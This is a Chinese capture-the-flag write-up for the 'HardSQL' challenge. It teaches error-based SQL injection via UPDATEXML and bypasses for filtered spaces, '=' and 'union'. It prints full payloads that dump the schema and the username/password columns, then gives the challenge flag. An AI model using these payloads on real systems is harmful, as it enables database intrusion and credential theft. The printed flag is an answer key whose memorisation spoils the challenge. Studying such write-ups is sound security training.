[极客大挑战 2019]HardSQL
知识点:报错注入
1.UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
报错注入原理:当XPath_string()不满足格式的时候,会报错并把查询信息放到报错信息里
通常用 ’ ~ ’制造语法错误
2.Like: https://www.w3school.com.cn/sql/sql_like.asp
Like 匹配开头是per:SELECT * FROM Persons WHERE City LIKE 'per%'
Like 匹配结尾是per:SELECT * FROM Persons WHERE City LIKE '%per'
Like 匹配中间包含per:SELECT * FROM Persons WHERE City LIKE '%per%'
Like 匹配不包含 per:SELECT * FROM Persons WHERE City NOT LIKE '%per%'
题目
先试一下引号
尝试猜测字段,但是被屏蔽了。尝试了一下,发现union,空格,and,=,也被屏蔽了。测试的方法是在’和%23中间加入单个关键词,没有屏蔽的词引起报错,被屏蔽的词引起网站警告。
绕过方法是用/**/代替空格,不过这道题还是需要用报错注入
根据查到的资料开始构造payload
屏蔽了空格,用()把原来空开的部分包起来
'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
因为屏蔽了=,这里查询表和列用like
'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))%23
'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
'or(updatexml(1,concat(0x7e,(select(group_concat(id,0x3a,username,0x3a,password))from(H4rDsq1)),0x7e),1))%23
flag只有一半,用substr提取后面的内容。
又被屏蔽了。。
用right
注意一下两个字符串重叠的部分,然后把flag拼接起来
1.flag{737fe430-4dd6-4272-88d3-38
2.6-4272-88d3-383945b70f8c}
flag{737fe430-4dd6-4272-88d3-383945b70f8c}